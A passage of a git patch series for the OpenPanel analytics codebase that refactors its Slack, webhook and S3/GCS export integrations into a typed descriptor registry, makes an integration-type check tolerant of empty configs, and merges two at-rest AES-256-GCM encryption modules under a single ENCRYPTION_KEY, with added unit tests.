+ .input(z.union([zCreateS3ExportIntegration, zCreateGCSExportIntegration]))
+ .mutation(({ input, ctx }) => upsertIntegration(ctx.session.userId, input)),
+ // Generic, registry-driven connection test.
+ testConnection: protectedProcedure
+ .input(z.object({ config: zIntegrationConfig }))
+ .mutation(
+ async ({ input }) =>
+ (await getServerIntegration(input.config.type).testConnection?.(
+ input.config,
+ )) ?? { success: true },
+ ),
+ // Back-compat alias for the export forms.
+ // TODO: remove once the dashboard calls `testConnection` directly.
testExportConnection: protectedProcedure
- .input(
- z.union([zCreateS3ExportIntegration, zCreateGCSExportIntegration]),
- )
- .mutation(async ({ input }) => {
- if (input.config.type === 's3_export') {
- const adapter = createS3Adapter(input.config);
- return adapter.testConnection();
- }
- if (input.config.type === 'gcs_export') {
- const adapter = createGCSAdapter(input.config);
- return adapter.testConnection();
- }
- return { success: false, error: 'Unknown export type' };
- }),
+ .input(z.union([zCreateS3ExportIntegration, zCreateGCSExportIntegration]))
+ .mutation(
+ async ({ input }) =>
+ (await getServerIntegration(input.config.type).testConnection?.(
+ input.config,
+ )) ?? { success: false, error: 'Unknown export type' },
+ ),
delete: protectedProcedure
.input(z.object({ id: z.string() }))
.mutation(async ({ input: { id }, ctx }) => {
diff --git a/packages/validation/src/index.ts b/packages/validation/src/index.ts
index de090266a..c4aec23fa 100644
--- a/packages/validation/src/index.ts
+++ b/packages/validation/src/index.ts
@@ -426,151 +426,8 @@ export const zOnboardingProject = z
}
});
-export const zSlackAuthResponse = z.object({
- ok: z.literal(true),
- app_id: z.string(),
- authed_user: z.object({
- id: z.string(),
- }),
- scope: z.string(),
- token_type: z.literal('bot'),
- access_token: z.string(),
- bot_user_id: z.string(),
- team: z.object({
- id: z.string(),
- name: z.string(),
- }),
- incoming_webhook: z.object({
- channel: z.string(),
- channel_id: z.string(),
- configuration_url: z.string().url(),
- url: z.string().url(),
- }),
-});
-
-export const zSlackConfig = z
- .object({
- type: z.literal('slack'),
- })
- .extend(zSlackAuthResponse.shape);
-
-export type ISlackConfig = z.infer;
-
-export const zWebhookConfig = z.object({
- type: z.literal('webhook'),
- url: z.string().url(),
- headers: z.record(z.string(), z.string()),
- payload: z.record(z.string(), z.unknown()).optional(),
- mode: z.enum(['message', 'javascript']).default('message'),
- javascriptTemplate: z.string().optional(),
-});
-export type IWebhookConfig = z.infer;
-
-export const zDiscordConfig = z.object({
- type: z.literal('discord'),
- url: z.string().url(),
-});
-export type IDiscordConfig = z.infer;
-
-export const zAppConfig = z.object({
- type: z.literal('app'),
-});
-export type IAppConfig = z.infer;
-
-export const zEmailConfig = z.object({
- type: z.literal('email'),
-});
-export type IEmailConfig = z.infer;
-
-// S3 Export Integration Config - Base fields shared by both auth modes
-const zS3ExportConfigBase = z.object({
- type: z.literal('s3_export'),
- bucket: z.string().min(1, 'Bucket name is required'),
- prefix: z.string().default('openpanel-exports'),
- region: z.string().min(1, 'Region is required'),
- endpoint: z.string().url().optional(), // For R2, MinIO, etc.
- format: z.enum(['jsonl_gzip', 'parquet']).default('jsonl_gzip'),
- // Optional encryption settings (S3-side encryption)
- encryption: z.enum(['SSE-S3', 'SSE-KMS', 'none']).default('SSE-S3'),
- kmsKeyId: z.string().optional(),
-});
-
-// Auth mode: IAM Role assumption (AWS best practice)
-const zS3AuthIamRole = z.object({
- authMode: z.literal('iam_role'),
- roleArn: z.string().min(1, 'IAM Role ARN is required'),
- externalId: z.string().optional(),
-});
-
-// Auth mode: Access Keys (for R2, MinIO, DigitalOcean Spaces, etc.)
-const zS3AuthAccessKey = z.object({
- authMode: z.literal('access_key'),
- accessKeyId: z.string().min(1, 'Access Key ID is required'),
- secretAccessKey: z.string().min(1, 'Secret Access Key is required'),
-});
-// S3 config with IAM role auth
-export const zS3ExportConfigIamRole = zS3ExportConfigBase.merge(zS3AuthIamRole);
-export type IS3ExportConfigIamRole = z.infer;
-
-// S3 config with access key auth
-export const zS3ExportConfigAccessKey = zS3ExportConfigBase.merge(zS3AuthAccessKey);
-export type IS3ExportConfigAccessKey = z.infer;
-
-// Combined discriminated union
-export const zS3ExportConfig = z.discriminatedUnion('authMode', [
- zS3ExportConfigIamRole,
- zS3ExportConfigAccessKey,
-]);
-export type IS3ExportConfig = z.infer;
-
-// GCS Export Integration Config
-export const zGCSExportConfig = z.object({
- type: z.literal('gcs_export'),
- bucket: z.string().min(1, 'Bucket name is required'),
- prefix: z.string().default('openpanel-exports'),
- format: z.enum(['jsonl_gzip', 'parquet']).default('jsonl_gzip'),
- // Service account credentials (JSON key as string)
- serviceAccountKey: z.string().min(1, 'Service account key is required'),
-});
-export type IGCSExportConfig = z.infer;
-
-export type IIntegrationConfig =
- | ISlackConfig
- | IDiscordConfig
- | IWebhookConfig
- | IAppConfig
- | IEmailConfig
- | IS3ExportConfig
- | IGCSExportConfig;
-
-const zCreateIntegration = z.object({
- id: z.string().optional(),
- name: z.string().min(1),
- projectId: z.string().min(1),
-});
-
-export const zCreateSlackIntegration = zCreateIntegration;
-
-export const zCreateWebhookIntegration = zCreateIntegration.extend({
- config: zWebhookConfig,
-});
-
-export const zCreateDiscordIntegration = zCreateIntegration.extend({
- config: zDiscordConfig,
-});
-
-export const zCreateS3ExportIntegration = zCreateIntegration.merge(
- z.object({
- config: zS3ExportConfig,
- }),
-);
-
-export const zCreateGCSExportIntegration = zCreateIntegration.merge(
- z.object({
- config: zGCSExportConfig,
- }),
-);
+export * from './integrations';
export const zNotificationRuleEventConfig = z.object({
type: z.literal('events'),
diff --git a/packages/validation/src/integrations.ts b/packages/validation/src/integrations.ts
new file mode 100644
index 000000000..9a8be4759
--- /dev/null
+++ b/packages/validation/src/integrations.ts
@@ -0,0 +1,361 @@
+import { z } from 'zod';
+
+// ---------------------------------------------------------------------------
+// Per-type config schemas
+// ---------------------------------------------------------------------------
+
+export const zSlackAuthResponse = z.object({
+ ok: z.literal(true),
+ app_id: z.string(),
+ authed_user: z.object({
+ id: z.string(),
+ }),
+ scope: z.string(),
+ token_type: z.literal('bot'),
+ access_token: z.string(),
+ bot_user_id: z.string(),
+ team: z.object({
+ id: z.string(),
+ name: z.string(),
+ }),
+ incoming_webhook: z.object({
+ channel: z.string(),
+ channel_id: z.string(),
+ configuration_url: z.string().url(),
+ url: z.string().url(),
+ }),
+});
+
+export const zSlackConfig = z
+ .object({
+ type: z.literal('slack'),
+ })
+ .extend(zSlackAuthResponse.shape);
+export type ISlackConfig = z.infer;
+
+export const zWebhookConfig = z.object({
+ type: z.literal('webhook'),
+ url: z.string().url(),
+ headers: z.record(z.string(), z.string()),
+ payload: z.record(z.string(), z.unknown()).optional(),
+ mode: z.enum(['message', 'javascript']).default('message'),
+ javascriptTemplate: z.string().optional(),
+});
+export type IWebhookConfig = z.infer;
+
+export const zDiscordConfig = z.object({
+ type: z.literal('discord'),
+ url: z.string().url(),
+});
+export type IDiscordConfig = z.infer;
+
+export const zAppConfig = z.object({
+ type: z.literal('app'),
+});
+export type IAppConfig = z.infer;
+
+export const zEmailConfig = z.object({
+ type: z.literal('email'),
+});
+export type IEmailConfig = z.infer;
+
+// S3 Export Integration Config - Base fields shared by both auth modes
+const zS3ExportConfigBase = z.object({
+ type: z.literal('s3_export'),
+ bucket: z.string().min(1, 'Bucket name is required'),
+ prefix: z.string().default('openpanel-exports'),
+ region: z.string().min(1, 'Region is required'),
+ endpoint: z.string().url().optional(), // For R2, MinIO, etc.
+ format: z.enum(['jsonl_gzip', 'parquet']).default('jsonl_gzip'),
+ // Optional encryption settings (S3-side encryption)
+ encryption: z.enum(['SSE-S3', 'SSE-KMS', 'none']).default('SSE-S3'),
+ kmsKeyId: z.string().optional(),
+});
+
+// Auth mode: IAM Role assumption (AWS best practice)
+const zS3AuthIamRole = z.object({
+ authMode: z.literal('iam_role'),
+ roleArn: z.string().min(1, 'IAM Role ARN is required'),
+ externalId: z.string().optional(),
+});
+
+// Auth mode: Access Keys (for R2, MinIO, DigitalOcean Spaces, etc.)
+const zS3AuthAccessKey = z.object({
+ authMode: z.literal('access_key'),
+ accessKeyId: z.string().min(1, 'Access Key ID is required'),
+ secretAccessKey: z.string().min(1, 'Secret Access Key is required'),
+});
+
+// S3 config with IAM role auth
+export const zS3ExportConfigIamRole = zS3ExportConfigBase.merge(zS3AuthIamRole);
+export type IS3ExportConfigIamRole = z.infer;
+
+// S3 config with access key auth
+export const zS3ExportConfigAccessKey =
+ zS3ExportConfigBase.merge(zS3AuthAccessKey);
+export type IS3ExportConfigAccessKey = z.infer;
+
+// Combined discriminated union
+export const zS3ExportConfig = z.discriminatedUnion('authMode', [
+ zS3ExportConfigIamRole,
+ zS3ExportConfigAccessKey,
+]);
+export type IS3ExportConfig = z.infer;
+
+// GCS Export Integration Config
+export const zGCSExportConfig = z.object({
+ type: z.literal('gcs_export'),
+ bucket: z.string().min(1, 'Bucket name is required'),
+ prefix: z.string().default('openpanel-exports'),
+ format: z.enum(['jsonl_gzip', 'parquet']).default('jsonl_gzip'),
+ // Service account credentials (JSON key as string)
+ serviceAccountKey: z.string().min(1, 'Service account key is required'),
+});
+export type IGCSExportConfig = z.infer;
+
+// ---------------------------------------------------------------------------
+// The explicit discriminated union — the SOURCE OF TRUTH for narrowing.
+// Do NOT derive this from the registry: deriving via z.infer over a registry
+// array can silently widen a member to { type: string } and break every
+// config.type narrow downstream (incl. Prisma's IPrismaIntegrationConfig).
+// The registry below is forced to MATCH this union via `satisfies`, never the
+// other way round.
+// ---------------------------------------------------------------------------
+
+export type IIntegrationConfig =
+ | ISlackConfig
+ | IDiscordConfig
+ | IWebhookConfig
+ | IAppConfig
+ | IEmailConfig
+ | IS3ExportConfig
+ | IGCSExportConfig;
+
+export type IIntegrationType = IIntegrationConfig['type'];
+
+// ---------------------------------------------------------------------------
+// Plugin descriptor registry (core layer). Each integration declares its
+// capabilities, setup style, config schema and catalog metadata once. The
+// server (packages/integrations) and client (apps/start) registries are keyed
+// by the same `type` literal and are forced to cover this union.
+// ---------------------------------------------------------------------------
+
+export type IIntegrationKind = 'notification' | 'export';
+
+export interface IIntegrationDescriptor<
+ TType extends IIntegrationType = IIntegrationType,
+ TSchema extends z.ZodTypeAny = z.ZodTypeAny,
+> {
+ type: TType;
+ kinds: readonly IIntegrationKind[];
+ // 'form' renders a config form; 'oauth' renders an install button and fills
+ // the config via an OAuth callback.
+ setup: 'form' | 'oauth';
+ configSchema: TSchema;
+ catalog: {
+ name: string;
+ description: string;
+ // Pseudo-integrations (app/email) are dispatched by flags, not user-added.
+ hidden?: boolean;
+ };
+}
+
+export const slackDescriptor = {
+ type: 'slack',
+ kinds: ['notification'],
+ setup: 'oauth',
+ configSchema: zSlackConfig,
+ catalog: {
+ name: 'Slack',
+ description:
+ 'Connect your Slack workspace to get notified when new issues are created.',
+ },
+} as const satisfies IIntegrationDescriptor<'slack', typeof zSlackConfig>;
+
+export const discordDescriptor = {
+ type: 'discord',
+ kinds: ['notification'],
+ setup: 'form',
+ configSchema: zDiscordConfig,
+ catalog: {
+ name: 'Discord',
+ description:
+ 'Connect your Discord server to get notified when new issues are created.',
+ },
+} as const satisfies IIntegrationDescriptor<'discord', typeof zDiscordConfig>;
+
+export const webhookDescriptor = {
+ type: 'webhook',
+ kinds: ['notification'],
+ setup: 'form',
+ configSchema: zWebhookConfig,
+ catalog: {
+ name: 'Webhook',
+ description:
+ 'Create a webhook to take actions in your own systems when new events are created.',
+ },
+} as const satisfies IIntegrationDescriptor<'webhook', typeof zWebhookConfig>;
+
+export const appDescriptor = {
+ type: 'app',
+ kinds: ['notification'],
+ setup: 'form',
+ configSchema: zAppConfig,
+ catalog: { name: 'Website', description: 'In-app notifications', hidden: true },
+} as const satisfies IIntegrationDescriptor<'app', typeof zAppConfig>;
+
+export const emailDescriptor = {
+ type: 'email',
+ kinds: ['notification'],
+ setup: 'form',
+ configSchema: zEmailConfig,
+ catalog: { name: 'Email', description: 'Email notifications', hidden: true },
+} as const satisfies IIntegrationDescriptor<'email', typeof zEmailConfig>;
+
+export const s3ExportDescriptor = {
+ type: 's3_export',
+ kinds: ['export'],
+ setup: 'form',
+ configSchema: zS3ExportConfig,
+ catalog: {
+ name: 'S3 Export',
+ description:
+ 'Export events to Amazon S3 for loading into Redshift, Snowflake, Athena, or other data warehouses.',
+ },
+} as const satisfies IIntegrationDescriptor<'s3_export', typeof zS3ExportConfig>;
+
+export const gcsExportDescriptor = {
+ type: 'gcs_export',
+ kinds: ['export'],
+ setup: 'form',
+ configSchema: zGCSExportConfig,
+ catalog: {
+ name: 'GCS Export',
+ description:
+ 'Export events to Google Cloud Storage for loading into BigQuery or other data warehouses.',
+ },
+} as const satisfies IIntegrationDescriptor<
+ 'gcs_export',
+ typeof zGCSExportConfig
+>;
+
+export const INTEGRATION_DESCRIPTORS = [
+ slackDescriptor,
+ discordDescriptor,
+ webhookDescriptor,
+ appDescriptor,
+ emailDescriptor,
+ s3ExportDescriptor,
+ gcsExportDescriptor,
+] as const;
+
+const descriptorByType = new Map(
+ INTEGRATION_DESCRIPTORS.map((d) => [d.type, d] as const),
+);
+
+export function getDescriptor(type: IIntegrationType): IIntegrationDescriptor {
+ const descriptor = descriptorByType.get(type);
+ if (!descriptor) {
+ throw new Error(`Unknown integration type: ${type}`);
+ }
+ return descriptor;
+}
+
+export function descriptorsByKind(kind: IIntegrationKind) {
+ // kinds is a readonly literal tuple per descriptor; widen for `.includes`
+ // (the union of literal tuples otherwise narrows the arg type to never).
+ return INTEGRATION_DESCRIPTORS.filter((d) =>
+ (d.kinds as readonly IIntegrationKind[]).includes(kind),
+ );
+}
+
+export function isKind(
+ config: Pick,
+ kind: IIntegrationKind,
+): boolean {
+ return getDescriptor(config.type).kinds.includes(kind);
+}
+
+// Runtime parser for any integration config. A plain union (not
+// discriminatedUnion) because the s3 schema is itself a union on `authMode`.
+// Static narrowing always comes from the explicit IIntegrationConfig above.
+export const zIntegrationConfig = z.union([
+ zSlackConfig,
+ zWebhookConfig,
+ zDiscordConfig,
+ zAppConfig,
+ zEmailConfig,
+ zS3ExportConfig,
+ zGCSExportConfig,
+]);
+
+// ---------------------------------------------------------------------------
+// Create-integration input schemas
+// ---------------------------------------------------------------------------
+
+const zCreateIntegrationBase = z.object({
+ id: z.string().optional(),
+ name: z.string().min(1),
+ projectId: z.string().min(1),
+});
+
+// Generic create input used by the registry-driven tRPC procedure. oauth
+// integrations (slack) create with no config (filled by the callback), so
+// config is optional here and narrowed/validated per-plugin server-side.
+export const zCreateIntegration = zCreateIntegrationBase.extend({
+ config: zIntegrationConfig.optional(),
+});
+export type ICreateIntegration = z.infer;
+
+export const zCreateSlackIntegration = zCreateIntegrationBase;
+
+export const zCreateWebhookIntegration = zCreateIntegrationBase.extend({
+ config: zWebhookConfig,
+});
+
+export const zCreateDiscordIntegration = zCreateIntegrationBase.extend({
+ config: zDiscordConfig,
+});
+
+export const zCreateS3ExportIntegration = zCreateIntegrationBase.merge(
+ z.object({
+ config: zS3ExportConfig,
+ }),
+);
+
+export const zCreateGCSExportIntegration = zCreateIntegrationBase.merge(
+ z.object({
+ config: zGCSExportConfig,
+ }),
+);
+
+// ---------------------------------------------------------------------------
+// Compile-time guards (the type-safety gate). These are type aliases, so they
+// add no runtime and don't trip unused-locals, but they fail `tsc` if the
+// invariant breaks.
+// ---------------------------------------------------------------------------
+
+type Assert = T;
+type Equal = [A] extends [B]
+ ? [B] extends [A]
+ ? true
+ : false
+ : false;
+
+// Every member of the union must keep a *literal* `type` discriminant. If any
+// widens to { type: string }, this drops it and the equality fails.
+type LiteralDiscriminant = U extends { type: infer T }
+ ? string extends T
+ ? never
+ : U
+ : never;
+type _AssertLiteralDiscriminant = Assert<
+ Equal>
+>;
+
+// The descriptor registry must cover exactly the union's types — no missing,
+// no extra. Add a config variant but forget its descriptor → compile error.
+type _DescriptorTypes = (typeof INTEGRATION_DESCRIPTORS)[number]['type'];
+type _AssertDescriptorCoverage = Assert<
+ Equal
+>;
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index cea0610d3..b61b34eef 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -1497,6 +1497,12 @@ importers:
'@openpanel/common':
specifier: workspace:*
version: link:../common
+ '@openpanel/js-runtime':
+ specifier: workspace:*
+ version: link:../js-runtime
+ '@openpanel/validation':
+ specifier: workspace:*
+ version: link:../validation
'@slack/bolt':
specifier: ^3.18.0
version: 3.21.4(debug@4.4.3(supports-color@10.2.0))(supports-color@10.2.0)
@@ -1510,9 +1516,6 @@ importers:
'@openpanel/tsconfig':
specifier: workspace:*
version: link:../../tooling/typescript
- '@openpanel/validation':
- specifier: workspace:*
- version: link:../validation
'@types/node':
specifier: 'catalog:'
version: 24.10.1
@@ -33155,7 +33158,7 @@ snapshots:
has-property-descriptors: 1.0.2
has-proto: 1.2.0
has-symbols: 1.1.0
- hasown: 2.0.2
+ hasown: 2.0.4
internal-slot: 1.1.0
is-array-buffer: 3.0.5
is-callable: 1.2.7
@@ -34189,7 +34192,7 @@ snapshots:
asynckit: 0.4.0
combined-stream: 1.0.8
es-set-tostringtag: 2.1.0
- hasown: 2.0.2
+ hasown: 2.0.4
mime-types: 2.1.35
form-data@4.0.0:
@@ -34480,7 +34483,7 @@ snapshots:
call-bound: 1.0.4
define-properties: 1.2.1
functions-have-names: 1.2.3
- hasown: 2.0.2
+ hasown: 2.0.4
is-callable: 1.2.7
functions-have-names@1.2.3: {}
@@ -35241,7 +35244,7 @@ snapshots:
internal-slot@1.1.0:
dependencies:
es-errors: 1.3.0
- hasown: 2.0.2
+ hasown: 2.0.4
side-channel: 1.1.0
internmap@1.0.1: {}
@@ -35492,7 +35495,7 @@ snapshots:
call-bound: 1.0.4
gopd: 1.2.0
has-tostringtag: 1.0.2
- hasown: 2.0.2
+ hasown: 2.0.4
is-relative@1.0.0:
dependencies:
From a9aa6012ca8e71592b3fe6c436d830762270af2b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Tue, 23 Jun 2026 14:37:28 +0200
Subject: [PATCH 04/15] fix: make isKind lenient for empty/unknown integration
config
The flushExports cron lists every integration and filters by
isKind(config, 'export'). A Slack integration that hasn't completed OAuth has
an empty config ({} with no type), and the registry refactor made isKind throw
"Unknown integration type: undefined" on it, failing the whole cron run.
isKind now returns false for unknown/undefined types instead of throwing (it's
a filter predicate, not a guaranteed-known lookup). Also guard the notification
worker against delivering to an unconfigured integration. Adds an isKind
regression test.
Claude-Session: https://claude.ai/code/session_01AWucrxmRqWqgWBvr8cC5cj
---
apps/worker/src/jobs/notification.ts | 7 ++++++
packages/validation/src/integrations.test.ts | 24 ++++++++++++++++++++
packages/validation/src/integrations.ts | 10 ++++++--
3 files changed, 39 insertions(+), 2 deletions(-)
create mode 100644 packages/validation/src/integrations.test.ts
diff --git a/apps/worker/src/jobs/notification.ts b/apps/worker/src/jobs/notification.ts
index 7d9bcdbc1..66e3c2832 100644
--- a/apps/worker/src/jobs/notification.ts
+++ b/apps/worker/src/jobs/notification.ts
@@ -77,6 +77,13 @@ export async function notificationJob(job: Job) {
return new Error('Invalid payload');
}
+ // An integration whose config is still empty (e.g. a Slack integration
+ // before its OAuth callback fills the config) has no type yet — nothing
+ // to deliver to.
+ if (!integration.config?.type) {
+ return;
+ }
+
// Generic registry dispatch — no per-type switch. A new notification
// integration just registers a `notification.deliver` plugin.
const plugin = getServerIntegration(integration.config.type);
diff --git a/packages/validation/src/integrations.test.ts b/packages/validation/src/integrations.test.ts
new file mode 100644
index 000000000..7311ff43f
--- /dev/null
+++ b/packages/validation/src/integrations.test.ts
@@ -0,0 +1,24 @@
+import { describe, expect, it } from 'vitest';
+import { isKind } from './integrations';
+
+describe('isKind', () => {
+ it('matches a declared capability', () => {
+ expect(isKind({ type: 's3_export' }, 'export')).toBe(true);
+ expect(isKind({ type: 'gcs_export' }, 'export')).toBe(true);
+ expect(isKind({ type: 'slack' }, 'notification')).toBe(true);
+ expect(isKind({ type: 'webhook' }, 'notification')).toBe(true);
+ });
+
+ it('returns false for a capability the integration does not have', () => {
+ expect(isKind({ type: 's3_export' }, 'notification')).toBe(false);
+ expect(isKind({ type: 'slack' }, 'export')).toBe(false);
+ });
+
+ it('is lenient for empty/unknown config (does not throw)', () => {
+ // A Slack integration before its OAuth callback has config {} with no type;
+ // the export cron filters over every integration, so this must not throw.
+ expect(isKind({}, 'export')).toBe(false);
+ expect(isKind({ type: undefined }, 'export')).toBe(false);
+ expect(isKind({ type: 'something-unknown' }, 'export')).toBe(false);
+ });
+});
diff --git a/packages/validation/src/integrations.ts b/packages/validation/src/integrations.ts
index 9a8be4759..063ebb037 100644
--- a/packages/validation/src/integrations.ts
+++ b/packages/validation/src/integrations.ts
@@ -270,10 +270,16 @@ export function descriptorsByKind(kind: IIntegrationKind) {
}
export function isKind(
- config: Pick,
+ config: Pick | { type?: string },
kind: IIntegrationKind,
): boolean {
- return getDescriptor(config.type).kinds.includes(kind);
+ // Lenient lookup: used as a filter predicate over all integrations, including
+ // rows whose config is still empty (e.g. a Slack integration before its OAuth
+ // callback fills the config). Unknown/undefined types are simply not of `kind`.
+ const descriptor = descriptorByType.get(config.type as IIntegrationType);
+ return descriptor
+ ? (descriptor.kinds as readonly IIntegrationKind[]).includes(kind)
+ : false;
}
// Runtime parser for any integration config. A plain union (not
From 3b6bbf7bed288b84e58340b02fcf5f3368546224 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Tue, 23 Jun 2026 14:44:13 +0200
Subject: [PATCH 05/15] refactor: one encryption key for all at-rest secrets
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
There were two AES-256-GCM modules with two env keys for the same purpose:
db/src/encryption.ts (ENCRYPTION_KEY, for TOTP/GSC) and
common/server/encryption.ts (CREDENTIALS_ENCRYPTION_KEY, for integration creds,
needed in @openpanel/integrations which can't import db).
Consolidate to one implementation in @openpanel/common/server keyed solely by
ENCRYPTION_KEY. It hosts both the plain encrypt/decrypt (unchanged format, so
existing TOTP/GSC ciphertext still decrypts) and the prefixed
encryptCredential/decryptCredential (idempotent, plaintext-passthrough for the
test-connection flow). db/src/encryption.ts now re-exports encrypt/decrypt, so
@openpanel/db importers are unchanged.
Drops CREDENTIALS_ENCRYPTION_KEY from .env.example. Adds an encryption
round-trip test. Note: any integration credentials encrypted on this branch
with the old key must be re-saved (no prod data — feature is unmerged).
Claude-Session: https://claude.ai/code/session_01AWucrxmRqWqgWBvr8cC5cj
---
.env.example | 8 +-
packages/common/server/encryption.test.ts | 39 ++++++++
packages/common/server/encryption.ts | 109 +++++++++++++---------
packages/db/src/encryption.ts | 49 +---------
4 files changed, 109 insertions(+), 96 deletions(-)
create mode 100644 packages/common/server/encryption.test.ts
diff --git a/.env.example b/.env.example
index 48e75ae5a..639f2d023 100644
--- a/.env.example
+++ b/.env.example
@@ -4,15 +4,11 @@ DATABASE_URL="postgresql://postgres:postgres@localhost:5432/postgres?schema=publ
DATABASE_URL_DIRECT="$DATABASE_URL"
CLICKHOUSE_URL="http://localhost:8123/openpanel"
-# Symmetric key used to encrypt TOTP secrets and other sensitive data at rest.
+# Symmetric key for all at-rest encryption: TOTP secrets, GSC tokens, and
+# object-store export credentials (S3 secret keys, GCS service-account keys).
# Generate with: openssl rand -hex 32
ENCRYPTION_KEY=""
-# Symmetric key used to encrypt object-store export credentials (S3 secret
-# access keys, GCS service-account keys) at rest. Only required if you configure
-# an S3/GCS data-export integration. Generate with: openssl rand -hex 32
-# CREDENTIALS_ENCRYPTION_KEY=""
-
# OBJECT-STORE EXPORT (S3/GCS) tuning — optional, sensible defaults shown.
# The flushExports cron job windows ClickHouse by inserted_at and uploads
# batched files. LAG keeps a safety gap behind now() for in-flight inserts;
diff --git a/packages/common/server/encryption.test.ts b/packages/common/server/encryption.test.ts
new file mode 100644
index 000000000..d2fe657fd
--- /dev/null
+++ b/packages/common/server/encryption.test.ts
@@ -0,0 +1,39 @@
+import { beforeAll, describe, expect, it } from 'vitest';
+import {
+ decrypt,
+ decryptCredential,
+ encrypt,
+ encryptCredential,
+ isEncrypted,
+} from './encryption';
+
+beforeAll(() => {
+ // Deterministic key for the round-trips (overrides any ambient value).
+ process.env.ENCRYPTION_KEY = 'a'.repeat(64);
+});
+
+describe('encryption (single ENCRYPTION_KEY)', () => {
+ it('encrypt/decrypt round-trips without a prefix (TOTP/GSC format)', () => {
+ const secret = 'totp-or-gsc-secret';
+ const enc = encrypt(secret);
+ expect(isEncrypted(enc)).toBe(false);
+ expect(enc).not.toBe(secret);
+ expect(decrypt(enc)).toBe(secret);
+ });
+
+ it('encryptCredential/decryptCredential round-trips with the enc: prefix', () => {
+ const secret = 'aws-secret-access-key';
+ const enc = encryptCredential(secret);
+ expect(isEncrypted(enc)).toBe(true);
+ expect(decryptCredential(enc)).toBe(secret);
+ });
+
+ it('encryptCredential is idempotent (never double-encrypts)', () => {
+ const enc = encryptCredential('x');
+ expect(encryptCredential(enc)).toBe(enc);
+ });
+
+ it('decryptCredential passes plaintext through (test-connection flow)', () => {
+ expect(decryptCredential('plaintext')).toBe('plaintext');
+ });
+});
diff --git a/packages/common/server/encryption.ts b/packages/common/server/encryption.ts
index c4390f4a9..39f7c385a 100644
--- a/packages/common/server/encryption.ts
+++ b/packages/common/server/encryption.ts
@@ -1,123 +1,140 @@
-import {
- createCipheriv,
- createDecipheriv,
- randomBytes,
-} from 'node:crypto';
+import { createCipheriv, createDecipheriv, randomBytes } from 'node:crypto';
const ENCRYPTION_PREFIX = 'enc:';
const ALGORITHM = 'aes-256-gcm';
const IV_LENGTH = 12; // 96 bits for GCM
const AUTH_TAG_LENGTH = 16; // 128 bits
+const ENCODING = 'base64';
/**
- * Get the encryption key from environment variable
- * Key must be 32 bytes (64 hex characters)
+ * Single symmetric key for all at-rest encryption (TOTP secrets, GSC tokens,
+ * integration credentials). Must be 32 bytes (64 hex characters).
+ * Generate with: openssl rand -hex 32
*/
function getEncryptionKey(): Buffer {
- const keyHex = process.env.CREDENTIALS_ENCRYPTION_KEY;
-
+ const keyHex = process.env.ENCRYPTION_KEY;
+
if (!keyHex) {
- throw new Error(
- 'CREDENTIALS_ENCRYPTION_KEY environment variable is required for credential encryption. ' +
- 'Generate with: openssl rand -hex 32'
- );
+ throw new Error('ENCRYPTION_KEY environment variable is not set');
}
-
+
if (keyHex.length !== 64) {
throw new Error(
- 'CREDENTIALS_ENCRYPTION_KEY must be 32 bytes (64 hex characters). ' +
- 'Generate with: openssl rand -hex 32'
+ 'ENCRYPTION_KEY must be 32 bytes (64 hex characters). Generate with: openssl rand -hex 32',
);
}
-
+
return Buffer.from(keyHex, 'hex');
}
-/**
- * Check if a value is already encrypted (has the enc: prefix)
- */
+// ---------------------------------------------------------------------------
+// Plain encrypt/decrypt — base64(iv + authTag + ciphertext), no prefix.
+// Used for TOTP secrets and GSC tokens. (Kept format-stable so existing
+// ciphertext keeps decrypting; this is the implementation db re-exports.)
+// ---------------------------------------------------------------------------
+
+export function encrypt(plaintext: string): string {
+ const key = getEncryptionKey();
+ const iv = randomBytes(IV_LENGTH);
+ const cipher = createCipheriv(ALGORITHM, key, iv);
+ const encrypted = Buffer.concat([
+ cipher.update(plaintext, 'utf8'),
+ cipher.final(),
+ ]);
+ const tag = cipher.getAuthTag();
+ return Buffer.concat([iv, tag, encrypted]).toString(ENCODING);
+}
+
+export function decrypt(ciphertext: string): string {
+ const key = getEncryptionKey();
+ const buf = Buffer.from(ciphertext, ENCODING);
+ const iv = buf.subarray(0, IV_LENGTH);
+ const tag = buf.subarray(IV_LENGTH, IV_LENGTH + AUTH_TAG_LENGTH);
+ const encrypted = buf.subarray(IV_LENGTH + AUTH_TAG_LENGTH);
+ const decipher = createDecipheriv(ALGORITHM, key, iv);
+ decipher.setAuthTag(tag);
+ return decipher.update(encrypted) + decipher.final('utf8');
+}
+
+// ---------------------------------------------------------------------------
+// Credential variant — enc:base64(iv + ciphertext + authTag). The enc: prefix
+// makes it idempotent (skip already-encrypted values) and lets a plaintext
+// value pass through unchanged, which the integration test-connection flow
+// relies on (it builds adapters from the raw, unsaved config).
+// ---------------------------------------------------------------------------
+
export function isEncrypted(value: string): boolean {
return value.startsWith(ENCRYPTION_PREFIX);
}
-/**
- * Encrypt a credential using AES-256-GCM
- * Returns: enc:
- */
export function encryptCredential(plaintext: string): string {
if (!plaintext) {
return plaintext;
}
-
// Don't double-encrypt
if (isEncrypted(plaintext)) {
return plaintext;
}
-
+
const key = getEncryptionKey();
const iv = randomBytes(IV_LENGTH);
-
+
const cipher = createCipheriv(ALGORITHM, key, iv, {
authTagLength: AUTH_TAG_LENGTH,
});
-
+
const ciphertext = Buffer.concat([
cipher.update(plaintext, 'utf8'),
cipher.final(),
]);
-
+
const authTag = cipher.getAuthTag();
-
+
// Combine: IV (12 bytes) + ciphertext (variable) + authTag (16 bytes)
const combined = Buffer.concat([iv, ciphertext, authTag]);
-
+
return ENCRYPTION_PREFIX + combined.toString('base64');
}
-/**
- * Decrypt a credential that was encrypted with encryptCredential
- * Expects: enc:
- */
export function decryptCredential(ciphertext: string): string {
if (!ciphertext) {
return ciphertext;
}
-
// If not encrypted, return as-is (allows for graceful migration)
if (!isEncrypted(ciphertext)) {
return ciphertext;
}
-
+
const key = getEncryptionKey();
-
+
// Remove prefix and decode base64
const combined = Buffer.from(
ciphertext.slice(ENCRYPTION_PREFIX.length),
- 'base64'
+ 'base64',
);
-
+
if (combined.length < IV_LENGTH + AUTH_TAG_LENGTH) {
throw new Error('Invalid encrypted credential: too short');
}
-
+
// Extract components
